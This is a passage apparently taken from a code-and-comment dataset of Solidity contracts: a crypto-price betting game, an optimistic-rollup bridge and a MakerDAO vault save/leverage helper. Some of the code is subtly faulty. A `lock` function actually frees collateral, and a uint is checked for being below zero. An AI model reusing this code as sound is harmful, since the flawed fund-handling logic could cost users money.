chronus.starting_time = uint32(block.timestamp);
chronus.betting_open = true;
bytes32 temp_ID; // temp variable to store oraclize IDs
emit newOraclizeQuery("Oraclize query was sent, standing by for the answer..");
// bets open price query
chronus.betting_duration = uint32(delay);
temp_ID = oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/ethereum/).0.price_usd");
oraclizeIndex[temp_ID] = horses.ETH;
coinIndex[horses.ETH].preOraclizeId = temp_ID;
temp_ID = oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/litecoin/).0.price_usd");
oraclizeIndex[temp_ID] = horses.LTC;
coinIndex[horses.LTC].preOraclizeId = temp_ID;
temp_ID = oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/bitcoin/).0.price_usd");
oraclizeIndex[temp_ID] = horses.BTC;
coinIndex[horses.BTC].preOraclizeId = temp_ID;
//bets closing price query
delay = delay.add(locking_duration);
temp_ID = oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/ethereum/).0.price_usd",horses.customGasLimit);
oraclizeIndex[temp_ID] = horses.ETH;
coinIndex[horses.ETH].postOraclizeId = temp_ID;
temp_ID = oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/litecoin/).0.price_usd",horses.customGasLimit);
oraclizeIndex[temp_ID] = horses.LTC;
coinIndex[horses.LTC].postOraclizeId = temp_ID;
temp_ID = oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/bitcoin/).0.price_usd",horses.customGasLimit);
oraclizeIndex[temp_ID] = horses.BTC;
coinIndex[horses.BTC].postOraclizeId = temp_ID;
chronus.race_duration = uint32(delay);
return true;
}
}
// method to calculate reward (called internally by callback)
function reward() internal {
/*
calculating the difference in price with a precision of 5 digits
not using safemath since signed integers are handled
*/
horses.BTC_delta = int32(coinIndex[horses.BTC].post - coinIndex[horses.BTC].pre)*100000/int32(coinIndex[horses.BTC].pre);
horses.ETH_delta = int32(coinIndex[horses.ETH].post - coinIndex[horses.ETH].pre)*100000/int32(coinIndex[horses.ETH].pre);
horses.LTC_delta = int32(coinIndex[horses.LTC].post - coinIndex[horses.LTC].pre)*100000/int32(coinIndex[horses.LTC].pre);
total_reward = (coinIndex[horses.BTC].total) + (coinIndex[horses.ETH].total) + (coinIndex[horses.LTC].total);
if (total_bettors <= 1) {
forceVoidRace();
} else {
uint house_fee = total_reward.mul(5).div(100);
require(house_fee < address(this).balance);
total_reward = total_reward.sub(house_fee);
bettingControllerInstance.depositHouseTakeout.value(house_fee)();
}
if (horses.BTC_delta > horses.ETH_delta) {
if (horses.BTC_delta > horses.LTC_delta) {
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.BTC].total;
}
else if(horses.LTC_delta > horses.BTC_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else {
winner_horse[horses.BTC] = true;
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.BTC].total + (coinIndex[horses.LTC].total);
}
} else if(horses.ETH_delta > horses.BTC_delta) {
if (horses.ETH_delta > horses.LTC_delta) {
winner_horse[horses.ETH] = true;
winnerPoolTotal = coinIndex[horses.ETH].total;
}
else if (horses.LTC_delta > horses.ETH_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else {
winner_horse[horses.ETH] = true;
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.LTC].total);
}
} else {
if (horses.LTC_delta > horses.ETH_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else if(horses.LTC_delta < horses.ETH_delta){
winner_horse[horses.ETH] = true;
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.BTC].total);
} else {
winner_horse[horses.LTC] = true;
winner_horse[horses.ETH] = true;
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.BTC].total) + (coinIndex[horses.LTC].total);
}
}
chronus.race_end = true;
}
// method to calculate an invidual's reward
function calculateReward(address candidate) internal afterRace constant returns(uint winner_reward) {
voter_info storage bettor = voterIndex[candidate];
if(chronus.voided_bet) {
winner_reward = bettor.total_bet;
} else {
uint winning_bet_total;
if(winner_horse[horses.BTC]) {
winning_bet_total += bettor.bets[horses.BTC];
} if(winner_horse[horses.ETH]) {
winning_bet_total += bettor.bets[horses.ETH];
} if(winner_horse[horses.LTC]) {
winning_bet_total += bettor.bets[horses.LTC];
}
winner_reward += (((total_reward.mul(10000000)).div(winnerPoolTotal)).mul(winning_bet_total)).div(10000000);
}
}
// method to just check the reward amount
function checkReward() afterRace external constant returns (uint) {
require(!voterIndex[msg.sender].rewarded);
return calculateReward(msg.sender);
}
// method to claim the reward amount
function claim_reward() afterRace external {
require(!voterIndex[msg.sender].rewarded);
uint transfer_amount = calculateReward(msg.sender);
require(address(this).balance >= transfer_amount);
voterIndex[msg.sender].rewarded = true;
msg.sender.transfer(transfer_amount);
emit Withdraw(msg.sender, transfer_amount);
}
function forceVoidRace() internal {
chronus.voided_bet=true;
chronus.race_end = true;
chronus.voided_timestamp=uint32(now);
}
// utility function to convert string to integer with precision consideration
function stringToUintNormalize(string s) internal pure returns (uint result) {
uint p =2;
bool precision=false;
bytes memory b = bytes(s);
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
if (precision) {p = p-1;}
if (uint(b[i]) == 46){precision = true;}
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {result = result * 10 + (c - 48);}
if (precision && p == 0){return result;}
}
while (p!=0) {
result = result*10;
p=p-1;
}
}
// exposing the coin pool details for DApp
function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint) {
return (coinIndex[index].total, coinIndex[index].pre, coinIndex[index].post, coinIndex[index].price_check, voterIndex[candidate].bets[index]);
}
// exposing the total reward amount for DApp
function reward_total() external constant returns (uint) {
return ((coinIndex[horses.BTC].total) + (coinIndex[horses.ETH].total) + (coinIndex[horses.LTC].total));
}
// in case of any errors in race, enable full refund for the Bettors to claim
function refund() external onlyOwner {
require(now > chronus.starting_time + chronus.race_duration);
require((chronus.betting_open && !chronus.race_start)
|| (chronus.race_start && !chronus.race_end));
chronus.voided_bet = true;
chronus.race_end = true;
chronus.voided_timestamp=uint32(now);
bettingControllerInstance.remoteBettingClose();
}
// method to claim unclaimed winnings after 30 day notice period
function recovery() external onlyOwner{
require((chronus.race_end && now > chronus.starting_time + chronus.race_duration + (30 days))
|| (chronus.voided_bet && now > chronus.voided_timestamp + (30 days)));
bettingControllerInstance.depositHouseTakeout.value(address(this).balance)();
}
}
|
the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license Duplicate Solidity's ecrecover, but catching the CALL return value We do our own memory management here. Solidity uses memory offset 0x40 to store the current end of memory. We write past it (as writes are memory extensions), but don't update the offset so Solidity will reuse it. The memory used here is only needed for this context. FIXME: inline assembly can't access return values
|
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
| 1,131,188 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <=0.7.3;
import { Lib_MerkleTrie } from "./Lib_MerkleTrie.sol";
import { Lib_BytesUtils } from "./Lib_BytesUtils.sol";
import { Lib_RLPReader } from "./Lib_RLPReader.sol";
contract Optimistic_Rollups {
bytes32 public stateRoot;
bytes32 public prev_stateRoot;
address public last_batch_submitter;
uint256 public immutable lock_time;
uint256 public immutable required_bond;
uint256 public last_batch_time;
mapping(address => address) public aggregators;
mapping(bytes32 => bool) public valid_stateRoots;
mapping(address => mapping(bytes32 => uint256)) private last_deposits;
mapping(address => mapping(bytes32 => uint256)) private last_withdraws;
event New_Deposit(address user, bytes32 stateRoot, uint256 value);
event New_withdraw(address user, bytes32 stateRoot, uint256 value);
event Fraud_Proved(address challenger);
event Invalid_Proof(address challenger);
constructor(
uint256 _lock_time,
uint256 _required_bond
) public {
stateRoot = bytes32(0);
prev_stateRoot = bytes32(0);
lock_time = _lock_time;
last_batch_time = block.timestamp - _lock_time;
required_bond = _required_bond;
}
modifier is_aggregator(address user) {
require(aggregators[user] != address(0), "UNAUTHORIZED_ACCOUNT");
_;
}
modifier can_exit_optimism() {
// Check that enough time has elapsed for potential fraud proofs (10 minutes)
require (block.timestamp >= last_batch_time + lock_time, "OPTIMISTIC_PERIOD");
_;
}
modifier fraud_period() {
require (block.timestamp < last_batch_time + lock_time, "OPTIMISTIC_PERIOD");
_;
}
//Bonds msg.value for msg.sender to become and aggregator
function bond() external payable {
require(msg.value >= required_bond, "INSUFFICIENT_BOND");
aggregators[msg.sender] = msg.sender;
}
//Deposits funds so they can be used in layer2
function deposit() external payable can_exit_optimism() {
//we must verity stateRoot is valid
last_deposits[msg.sender][stateRoot] += msg.value;
emit New_Deposit(msg.sender, stateRoot, msg.value);
}
function withdraw(bytes calldata _key, bytes calldata _value, bytes memory _proof, bytes32 _root) external can_exit_optimism() {
require(_root == stateRoot, "NOT_VALID_PROOF");
//prevent double withdraw
require(last_withdraws[msg.sender][stateRoot] == 0, "WITHDRAW_ALREADY_DONE");
require(Lib_MerkleTrie.verifyInclusionProof(_key,_value,_proof,_root) == true, "INVALID_ACCOUNT_PROOF");
address accAddr = Lib_BytesUtils.toAddress(_key,0);
//Check msg.sender == proof address
require (accAddr == msg.sender, "INVALID_WITHDRAW_REQUESTER");
Lib_RLPReader.RLPItem[] memory account = Lib_RLPReader.readList(_value);
uint256 accBalance = Lib_BytesUtils.toUint256(Lib_RLPReader.readBytes(account[1]));
last_withdraws[msg.sender][stateRoot] += accBalance;
msg.sender.transfer(accBalance);
emit New_withdraw(msg.sender, stateRoot, accBalance);
}
//[248, 95, 160, 48, 90, 96, 180, 15, 169, 0, 12, 30, 160, 135, 133, 84, 61, 18, 113, 22, 62, 245, 86, 20, 148, 103, 136, 32, 124, 139, 204, 83, 60, 79, 110, 248, 60, 248, 58, 136, 13, 224, 182, 179, 167, 100, 0, 0, 133, 11, 164, 59, 116, 0, 148, 139, 80, 60, 161, 190, 245, 90, 144, 66, 118, 19, 143, 46, 166, 9, 6, 210, 197, 135, 129, 148, 4, 140, 130, 254, 44, 133, 149, 108, 242, 135, 47, 190, 50, 190, 74, 208, 109, 227, 219, 30, 1]
function newBatch(bytes calldata _batch) external is_aggregator(msg.sender) can_exit_optimism() returns (string memory) {
//here we should check if fraud proof time has expired
require(_batch.length > 0, "EMPTY_NEW_BATCH");
Lib_RLPReader.RLPItem[] memory ls = Lib_RLPReader.readList(_batch);
Lib_RLPReader.RLPItem memory _stateRoot = ls[0];
require(stateRoot == abi.decode(Lib_RLPReader.readBytes(_stateRoot), (bytes32)), "INVALID_PREV_STATEROOT");
prev_stateRoot = stateRoot;
Lib_RLPReader.RLPItem memory _newstateRoot = ls[1];
stateRoot = abi.decode(Lib_RLPReader.readBytes(_newstateRoot), (bytes32));
//At this point we consider the prevBatch as correct
valid_stateRoots[prev_stateRoot] = true;
last_batch_submitter = msg.sender;
last_batch_time = block.timestamp;
}
//account_proof must contain a proof of the account balance for the previous stateRoot
function prove_fraud(bytes calldata _key, bytes calldata _value, bytes memory _proof, bytes32 _root, bytes calldata _lastBatch) external fraud_period() {
//Check proof
require(_root == prev_stateRoot && stateRoot != prev_stateRoot, "NOT_VALID_PROOF");
require(Lib_MerkleTrie.verifyInclusionProof(_key,_value,_proof,_root) == true, "INVALID_ACCOUNT_PROOF");
//Extractic account values
//Research what costs more: keccak256 or toAddress(_key)
bytes32 accAddr = keccak256(_key); //we will compare with the hash of the bytes representing the account
Lib_RLPReader.RLPItem[] memory account = Lib_RLPReader.readList(_value);
uint256 accBalance = Lib_BytesUtils.toUint256(Lib_RLPReader.readBytes(account[1]));
//uint256 accNonce = Lib_BytesUtils.toUint256(Lib_RLPReader.readBytes(account[0]));
//We must increment and decrease account balance with its last deposits/withdraws as are not contemplated in the account proof
accBalance += last_deposits[Lib_BytesUtils.toAddress(_key,0)][prev_stateRoot];
accBalance -= last_withdraws[Lib_BytesUtils.toAddress(_key,0)][prev_stateRoot];
//Now we must verify the value of the account after the applyed batch
Lib_RLPReader.RLPItem[] memory ls = Lib_RLPReader.readList(_lastBatch);
Lib_RLPReader.RLPItem[] memory transactions = Lib_RLPReader.readList(ls[2]);
for (uint256 i = 0; i < transactions.length; i++) {
Lib_RLPReader.RLPItem[] memory tx_data = Lib_RLPReader.readList(transactions[i]);
//if is the receipent
if (keccak256(Lib_RLPReader.readBytes(tx_data[2])) == accAddr) {
accBalance += Lib_BytesUtils.toUint256(Lib_RLPReader.readBytes(tx_data[1]));
} else if (keccak256(Lib_RLPReader.readBytes(tx_data[3])) == accAddr) {
uint256 txValue = abi.decode(Lib_RLPReader.readBytes(tx_data[1]), (uint256));
if (txValue > accBalance) {
emit Fraud_Proved(msg.sender);
delete aggregators[last_batch_submitter];
stateRoot = prev_stateRoot;
msg.sender.transfer(required_bond);
return;
}
accBalance -= txValue;
}
}
emit Invalid_Proof(msg.sender);
//if fraud is proved => change to the last apporved stateRoot and reward the prover
}
function remaining_proof_time() view public returns (uint256) {
uint256 remaining = (last_batch_time + lock_time) - block.timestamp;
if (remaining < 0) return 0;
return remaining;
}
}
|
prevent double withdrawCheck msg.sender == proof address
|
function withdraw(bytes calldata _key, bytes calldata _value, bytes memory _proof, bytes32 _root) external can_exit_optimism() {
require(_root == stateRoot, "NOT_VALID_PROOF");
require(last_withdraws[msg.sender][stateRoot] == 0, "WITHDRAW_ALREADY_DONE");
require(Lib_MerkleTrie.verifyInclusionProof(_key,_value,_proof,_root) == true, "INVALID_ACCOUNT_PROOF");
address accAddr = Lib_BytesUtils.toAddress(_key,0);
require (accAddr == msg.sender, "INVALID_WITHDRAW_REQUESTER");
Lib_RLPReader.RLPItem[] memory account = Lib_RLPReader.readList(_value);
uint256 accBalance = Lib_BytesUtils.toUint256(Lib_RLPReader.readBytes(account[1]));
last_withdraws[msg.sender][stateRoot] += accBalance;
msg.sender.transfer(accBalance);
emit New_withdraw(msg.sender, stateRoot, accBalance);
}
| 1,767,024 |
pragma solidity ^0.5.8;
interface GemLike {
function approve(address, uint) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
}
interface ManagerLike {
function cdpCan(address, uint, address) external view returns (uint);
function ilks(uint) external view returns (bytes32);
function owns(uint) external view returns (address);
function urns(uint) external view returns (address);
function vat() external view returns (address);
function open(bytes32, address) external returns (uint);
function give(uint, address) external;
function cdpAllow(uint, address, uint) external;
function urnAllow(address, uint) external;
function frob(uint, int, int) external;
function flux(uint, address, uint) external;
function move(uint, address, uint) external;
function exit(
address,
uint,
address,
uint
) external;
function quit(uint, address) external;
function enter(address, uint) external;
function shift(uint, uint) external;
}
interface VatLike {
function can(address, address) external view returns (uint);
function ilks(bytes32) external view returns (uint, uint, uint, uint, uint);
function dai(address) external view returns (uint);
function urns(bytes32, address) external view returns (uint, uint);
function frob(
bytes32,
address,
address,
address,
int,
int
) external;
function hope(address) external;
function move(address, address, uint) external;
function gem(bytes32, address) external view returns (uint);
}
interface GemJoinLike {
function dec() external returns (uint);
function gem() external returns (GemLike);
function join(address, uint) external payable;
function exit(address, uint) external;
}
interface DaiJoinLike {
function vat() external returns (VatLike);
function dai() external returns (GemLike);
function join(address, uint) external payable;
function exit(address, uint) external;
}
interface JugLike {
function drip(bytes32) external returns (uint);
}
interface oracleInterface {
function read() external view returns (bytes32);
}
interface UniswapExchange {
function getEthToTokenOutputPrice(uint256 tokensBought) external view returns (uint256 ethSold);
function getTokenToEthOutputPrice(uint256 ethBought) external view returns (uint256 tokensSold);
function tokenToTokenSwapOutput(
uint256 tokensBought,
uint256 maxTokensSold,
uint256 maxEthSold,
uint256 deadline,
address tokenAddr
) external returns (uint256 tokensSold);
}
interface TokenInterface {
function allowance(address, address) external view returns (uint);
function balanceOf(address) external view returns (uint);
function approve(address, uint) external;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function deposit() external payable;
function withdraw(uint) external;
}
interface KyberInterface {
function trade(
address src,
uint srcAmount,
address dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
) external payable returns (uint);
function getExpectedRate(
address src,
address dest,
uint srcQty
) external view returns (uint, uint);
}
interface SplitSwapInterface {
function getBest(address src, address dest, uint srcAmt) external view returns (uint bestExchange, uint destAmt);
function ethToDaiSwap(uint splitAmt, uint slippageAmt) external payable returns (uint destAmt);
function daiToEthSwap(uint srcAmt, uint splitAmt, uint slippageAmt) external returns (uint destAmt);
}
interface InstaMcdAddress {
function manager() external view returns (address);
function dai() external view returns (address);
function daiJoin() external view returns (address);
function vat() external view returns (address);
function jug() external view returns (address);
function ethAJoin() external view returns (address);
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-not-safe");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function toRad(uint wad) internal pure returns (uint rad) {
rad = mul(wad, 10 ** 27);
}
}
contract Helpers is DSMath {
/**
* @dev get MakerDAO MCD Address contract
*/
function getMcdAddresses() public pure returns (address mcd) {
mcd = 0xF23196DF1C440345DE07feFbe556a5eF0dcD29F0;
}
/**
* @dev get MakerDAO Oracle for ETH price
*/
function getOracleAddress() public pure returns (address oracle) {
oracle = 0x729D19f657BD0614b4985Cf1D82531c67569197B;
}
/**
* @dev get uniswap MKR exchange
*/
function getUniswapMKRExchange() public pure returns (address ume) {
ume = 0x2C4Bd064b998838076fa341A83d007FC2FA50957;
}
/**
* @dev get uniswap DAI exchange
*/
function getUniswapDAIExchange() public pure returns (address ude) {
ude = 0x2a1530C4C41db0B0b2bB646CB5Eb1A67b7158667;
}
/**
* @dev get ethereum address for trade
*/
function getAddressETH() public pure returns (address eth) {
eth = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
/**
* @dev get dai address for trade
*/
function getAddressDAI() public pure returns (address dai) {
dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
}
/**
* @dev get kyber proxy address
*/
function getAddressKyber() public pure returns (address kyber) {
kyber = 0x818E6FECD516Ecc3849DAf6845e3EC868087B755;
}
/**
* @dev get admin address
*/
function getAddressSplitSwap() public pure returns (address payable splitSwap) {
splitSwap = 0x9112Be7568d0a3eAF1f7117c5d1538c3b1705fe3;
}
/**
* @dev get admin address
*/
function getAddressAdmin() public pure returns (address payable admin) {
admin = 0x7284a8451d9a0e7Dc62B3a71C0593eA2eC5c5638;
}
function getVaultStats(uint cup) internal view returns (uint ethCol, uint daiDebt, uint usdPerEth) {
address manager = InstaMcdAddress(getMcdAddresses()).manager();
address urn = ManagerLike(manager).urns(cup);
bytes32 ilk = ManagerLike(manager).ilks(cup);
(ethCol, daiDebt) = VatLike(ManagerLike(manager).vat()).urns(ilk, urn);
(,uint rate,,,) = VatLike(ManagerLike(manager).vat()).ilks(ilk);
daiDebt = rmul(daiDebt, rate);
usdPerEth = uint(oracleInterface(getOracleAddress()).read());
}
}
contract MakerHelpers is Helpers {
event LogLock(uint vaultId, uint amtETH, address owner);
event LogFree(uint vaultId, uint amtETH, address owner);
event LogDraw(uint vaultId, uint daiAmt, address owner);
event LogWipe(uint vaultId, uint daiAmt, address owner);
function setAllowance(TokenInterface _token, address _spender) internal {
if (_token.allowance(address(this), _spender) != uint(-1)) {
_token.approve(_spender, uint(-1));
}
}
function _getDrawDart(
address vat,
address jug,
address urn,
bytes32 ilk,
uint wad
) internal returns (int dart)
{
// Updates stability fee rate
uint rate = JugLike(jug).drip(ilk);
// Gets DAI balance of the urn in the vat
uint dai = VatLike(vat).dai(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (dai < mul(wad, RAY)) {
// Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens
dart = toInt(sub(mul(wad, RAY), dai) / rate);
// This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount)
dart = mul(uint(dart), rate) < mul(wad, RAY) ? dart + 1 : dart;
}
}
function _getWipeDart(
address vat,
uint dai,
address urn,
bytes32 ilk
) internal view returns (int dart)
{
// Gets actual rate from the vat
(, uint rate,,,) = VatLike(vat).ilks(ilk);
// Gets actual art value of the urn
(, uint art) = VatLike(vat).urns(ilk, urn);
// Uses the whole dai balance in the vat to reduce the debt
dart = toInt(dai / rate);
// Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value
dart = uint(dart) <= art ? - dart : - toInt(art);
}
function joinDaiJoin(address urn, uint wad) internal {
address daiJoin = InstaMcdAddress(getMcdAddresses()).daiJoin();
// Gets DAI from the user's wallet
DaiJoinLike(daiJoin).dai().transferFrom(msg.sender, address(this), wad);
// Approves adapter to take the DAI amount
DaiJoinLike(daiJoin).dai().approve(daiJoin, wad);
// Joins DAI into the vat
DaiJoinLike(daiJoin).join(urn, wad);
}
function lock(uint cdpNum, uint wad) internal {
if (wad > 0) {
address ethJoin = InstaMcdAddress(getMcdAddresses()).ethAJoin();
address manager = InstaMcdAddress(getMcdAddresses()).manager();
// Unlocks WETH amount from the CDP
ManagerLike(manager).frob(cdpNum, -toInt(wad), 0);
// Moves the amount from the CDP urn to proxy's address
ManagerLike(manager).flux(
cdpNum,
address(this),
wad
);
// Exits WETH amount to proxy address as a token
GemJoinLike(ethJoin).exit(address(this), wad);
// Converts WETH to ETH
GemJoinLike(ethJoin).gem().withdraw(wad);
// Sends ETH back to the user's wallet
emit LogLock(
cdpNum,
wad,
address(this)
);
}
}
function free(uint cdp, uint wad) internal {
if (wad > 0) {
address ethJoin = InstaMcdAddress(getMcdAddresses()).ethAJoin();
address manager = InstaMcdAddress(getMcdAddresses()).manager();
// Unlocks WETH amount from the CDP
ManagerLike(manager).frob(
cdp,
-toInt(wad),
0
);
// Moves the amount from the CDP urn to proxy's address
ManagerLike(manager).flux(
cdp,
address(this),
wad
);
// Exits WETH amount to proxy address as a token
GemJoinLike(ethJoin).exit(address(this), wad);
// Converts WETH to ETH
GemJoinLike(ethJoin).gem().withdraw(wad);
// Sends ETH back to the user's wallet
emit LogFree(
cdp,
wad,
address(this)
);
}
}
function draw(uint cdp, uint wad) internal {
if (wad > 0) {
address manager = InstaMcdAddress(getMcdAddresses()).manager();
address jug = InstaMcdAddress(getMcdAddresses()).jug();
address daiJoin = InstaMcdAddress(getMcdAddresses()).daiJoin();
address urn = ManagerLike(manager).urns(cdp);
address vat = ManagerLike(manager).vat();
bytes32 ilk = ManagerLike(manager).ilks(cdp);
// Generates debt in the CDP
ManagerLike(manager).frob(
cdp,
0,
_getDrawDart(
vat,
jug,
urn,
ilk,
wad
)
);
// Moves the DAI amount (balance in the vat in rad) to proxy's address
ManagerLike(manager).move(
cdp,
address(this),
toRad(wad)
);
// Allows adapter to access to proxy's DAI balance in the vat
if (VatLike(vat).can(address(this), address(daiJoin)) == 0) {
VatLike(vat).hope(daiJoin);
}
// Exits DAI to the user's wallet as a token
DaiJoinLike(daiJoin).exit(address(this), wad);
emit LogDraw(
cdp,
wad,
address(this)
);
}
}
function wipe(uint cdp, uint wad) internal {
if (wad > 0) {
address manager = InstaMcdAddress(getMcdAddresses()).manager();
address vat = ManagerLike(manager).vat();
address urn = ManagerLike(manager).urns(cdp);
bytes32 ilk = ManagerLike(manager).ilks(cdp);
address own = ManagerLike(manager).owns(cdp);
if (own == address(this) || ManagerLike(manager).cdpCan(own, cdp, address(this)) == 1) {
// Joins DAI amount into the vat
joinDaiJoin(urn, wad);
// Paybacks debt to the CDP
ManagerLike(manager).frob(
cdp,
0,
_getWipeDart(
vat,
VatLike(vat).dai(urn),
urn,
ilk
)
);
} else {
// Joins DAI amount into the vat
joinDaiJoin(address(this), wad);
// Paybacks debt to the CDP
VatLike(vat).frob(
ilk,
urn,
address(this),
address(this),
0,
_getWipeDart(
vat,
wad * RAY,
urn,
ilk
)
);
}
emit LogWipe(
cdp,
wad,
address(this)
);
}
}
}
contract GetDetails is MakerHelpers {
function getMax(uint cdpID) public view returns (uint maxColToFree, uint maxDaiToDraw, uint ethInUSD) {
(uint ethCol, uint daiDebt, uint usdPerEth) = getVaultStats(cdpID);
uint colToUSD = sub(wmul(ethCol, usdPerEth), 10);
uint minColNeeded = add(wmul(daiDebt, 1500000000000000000), 10);
maxColToFree = wdiv(sub(colToUSD, minColNeeded), usdPerEth);
uint maxDebtLimit = sub(wdiv(colToUSD, 1500000000000000000), 10);
maxDaiToDraw = sub(maxDebtLimit, daiDebt);
ethInUSD = usdPerEth;
}
function getSave(uint cdpID, uint ethToSwap) public view returns (uint finalEthCol, uint finalDaiDebt, uint finalColToUSD, bool canSave) {
(uint ethCol, uint daiDebt, uint usdPerEth) = getVaultStats(cdpID);
(finalEthCol, finalDaiDebt, finalColToUSD, canSave) = checkSave(
ethCol,
daiDebt,
usdPerEth,
ethToSwap
);
}
function getLeverage(
uint cdpID,
uint daiToSwap
) public view returns (
uint finalEthCol,
uint finalDaiDebt,
uint finalColToUSD,
bool canLeverage
)
{
(uint ethCol, uint daiDebt, uint usdPerEth) = getVaultStats(cdpID);
(finalEthCol, finalDaiDebt, finalColToUSD, canLeverage) = checkLeverage(
ethCol,
daiDebt,
usdPerEth,
daiToSwap
);
}
function checkSave(
uint ethCol,
uint daiDebt,
uint usdPerEth,
uint ethToSwap
) internal view returns
(
uint finalEthCol,
uint finalDaiDebt,
uint finalColToUSD,
bool canSave
)
{
uint colToUSD = sub(wmul(ethCol, usdPerEth), 10);
uint minColNeeded = add(wmul(daiDebt, 1500000000000000000), 10);
uint colToFree = wdiv(sub(colToUSD, minColNeeded), usdPerEth);
if (ethToSwap < colToFree) {
colToFree = ethToSwap;
}
(, uint expectedDAI) = SplitSwapInterface(getAddressSplitSwap()).getBest(getAddressETH(), getAddressDAI(), colToFree);
if (expectedDAI < daiDebt) {
finalEthCol = sub(ethCol, colToFree);
finalDaiDebt = sub(daiDebt, expectedDAI);
finalColToUSD = wmul(finalEthCol, usdPerEth);
canSave = true;
} else {
finalEthCol = 0;
finalDaiDebt = 0;
finalColToUSD = 0;
canSave = false;
}
}
function checkLeverage(
uint ethCol,
uint daiDebt,
uint usdPerEth,
uint daiToSwap
) internal view returns
(
uint finalEthCol,
uint finalDaiDebt,
uint finalColToUSD,
bool canLeverage
)
{
uint colToUSD = sub(wmul(ethCol, usdPerEth), 10);
uint maxDebtLimit = sub(wdiv(colToUSD, 1500000000000000000), 10);
uint debtToBorrow = sub(maxDebtLimit, daiDebt);
if (daiToSwap < debtToBorrow) {
debtToBorrow = daiToSwap;
}
(, uint expectedETH) = SplitSwapInterface(getAddressSplitSwap()).getBest(getAddressDAI(), getAddressETH(), debtToBorrow);
if (ethCol != 0) {
finalEthCol = add(ethCol, expectedETH);
finalDaiDebt = add(daiDebt, debtToBorrow);
finalColToUSD = wmul(finalEthCol, usdPerEth);
canLeverage = true;
} else {
finalEthCol = 0;
finalDaiDebt = 0;
finalColToUSD = 0;
canLeverage = false;
}
}
}
contract Save is GetDetails {
/**
* @param what 2 for SAVE & 3 for LEVERAGE
*/
event LogTrade(
uint what, // 0 for BUY & 1 for SELL
address src,
uint srcAmt,
address dest,
uint destAmt,
address beneficiary,
uint minConversionRate,
address affiliate
);
event LogSaveVault(
uint vaultId,
uint srcETH,
uint destDAI
);
event LogLeverageVault(
uint vaultId,
uint srcDAI,
uint destETH
);
function save(
uint cdpID,
uint colToSwap,
uint splitAmt,
uint slippageAmt
) public
{
(uint ethCol, uint daiDebt, uint usdPerEth) = getVaultStats(cdpID);
uint colToFree = getColToFree(ethCol, daiDebt, usdPerEth);
require(colToFree != 0, "no-collatral-to-free");
if (colToSwap < colToFree) {
colToFree = colToSwap;
}
free(cdpID, colToFree);
uint ethToSwap = address(this).balance;
ethToSwap = ethToSwap < colToFree ? ethToSwap : colToFree;
uint destAmt = SplitSwapInterface(getAddressSplitSwap()).ethToDaiSwap.value(ethToSwap)(splitAmt, slippageAmt);
wipe(cdpID, destAmt);
emit LogSaveVault(cdpID, ethToSwap, destAmt);
}
function leverage(
uint cdpID,
uint daiToSwap,
uint splitAmt,
uint slippageAmt
) public
{
(uint ethCol, uint daiDebt, uint usdPerEth) = getVaultStats(cdpID);
uint debtToBorrow = getDebtToBorrow(ethCol, daiDebt, usdPerEth);
require(debtToBorrow != 0, "No-debt-to-borrow");
if (daiToSwap < debtToBorrow) {
debtToBorrow = daiToSwap;
}
draw(cdpID, debtToBorrow);
TokenInterface(getAddressDAI()).approve(getAddressSplitSwap(), debtToBorrow);
